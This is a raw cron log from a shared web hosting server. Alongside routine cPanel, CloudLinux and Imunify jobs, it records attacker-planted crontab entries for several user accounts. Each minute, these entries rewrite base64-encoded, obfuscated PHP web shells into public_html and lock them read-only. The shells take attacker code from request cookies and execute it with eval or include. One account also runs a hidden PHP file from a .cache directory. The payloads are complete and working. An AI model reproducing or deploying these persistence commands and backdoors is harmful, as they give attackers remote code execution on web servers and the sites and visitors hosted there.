Mar  1 18:25:02 medusa CROND[15665]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:25:02 medusa CROND[15667]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:25:02 medusa CROND[15666]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:25:02 medusa CROND[15669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:25:02 medusa CROND[15670]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:25:02 medusa CROND[15674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:25:02 medusa CROND[15676]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:25:02 medusa CROND[15677]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:25:02 medusa CROND[15680]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:25:02 medusa CROND[15681]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:25:02 medusa CROND[15678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:25:02 medusa CROND[15684]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:25:02 medusa CROND[15687]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:25:02 medusa CROND[15683]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:25:02 medusa CROND[15692]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:25:02 medusa CROND[15693]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:25:02 medusa CROND[15691]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:25:02 medusa CROND[15689]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:26:01 medusa CROND[7818]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:26:01 medusa CROND[7819]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:26:01 medusa CROND[7820]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:26:01 medusa CROND[7821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:26:01 medusa CROND[7822]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:26:01 medusa CROND[7826]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:26:01 medusa CROND[7825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:26:01 medusa CROND[7827]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:26:01 medusa CROND[7829]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:26:01 medusa CROND[7830]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:26:01 medusa CROND[7833]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:26:01 medusa CROND[7834]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:26:01 medusa CROND[7835]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:26:01 medusa CROND[7850]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:27:01 medusa CROND[634]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:27:01 medusa CROND[677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:27:01 medusa CROND[678]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:27:01 medusa CROND[682]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:27:01 medusa CROND[683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
